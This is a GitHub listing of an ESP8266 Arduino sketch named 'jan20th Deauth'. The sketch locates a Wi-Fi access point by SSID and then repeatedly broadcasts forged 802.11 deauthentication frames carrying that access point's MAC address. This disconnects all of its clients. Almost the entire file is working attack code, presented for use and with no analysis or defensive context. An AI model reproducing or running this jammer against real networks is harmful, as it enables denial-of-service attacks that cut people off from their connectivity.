-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjan20th Deauth
73 lines (62 loc) · 2.27 KB
/
jan20th Deauth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
// Variables to store target network information
String targetSSID = "Test_AP"; // Replace with the network name you want to deauth
uint8_t targetMAC[6];
bool targetFound = false;
uint8_t deauthPacket[26] = {
0xC0, 0x00, // Frame Control: deauth frame
0x3A, 0x01, // Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: broadcast address (disconnects all clients)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (to be replaced with target MAC)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (to be replaced with target MAC)
0x00, 0x00, // Fragment & sequence number
0x07, 0x00 // Reason code: 0x07 (Class 3 frame received from nonassociated STA)
};
void setup() {
Serial.begin(115200);
WiFi.mode(WIFI_STA); // Set ESP8266 to station mode for scanning
// Start Wi-Fi scan
int n = WiFi.scanNetworks();
Serial.println("Scanning for networks...");
for (int i = 0; i < n; ++i) {
String ssid = WiFi.SSID(i);
if (ssid == targetSSID) {
Serial.println("Target network found: " + ssid);
// Copy MAC address of the found network
WiFi.BSSID(i); // Get BSSID directly (returns a pointer)
memcpy(targetMAC, WiFi.BSSID(i), 6); // Copy the MAC address into our array
Serial.print("Target MAC: ");
for (int j = 0; j < 6; j++) {
deauthPacket[10 + j] = targetMAC[j]; // Set source MAC in packet
deauthPacket[16 + j] = targetMAC[j]; // Set BSSID in packet
Serial.printf("%02X", targetMAC[j]);
if (j < 5) Serial.print(":");
}
Serial.println();
targetFound = true;
break;
}
}
if (!targetFound) {
Serial.println("Target network not found. Restarting...");
ESP.restart(); // Restart if target not found
} else {
wifi_set_channel(WiFi.channel()); // Set ESP8266 to target AP’s channel
}
}
void sendDeauth() {
if (targetFound) {
Serial.print("Sending deauth packet: ");
Serial.println(wifi_send_pkt_freedom(deauthPacket, 26, 0));
delay(1); // Short delay to prevent overloading
}
}
void loop() {
if (targetFound) {
sendDeauth();
delay(1); // Adjust delay to control attack frequency
}
}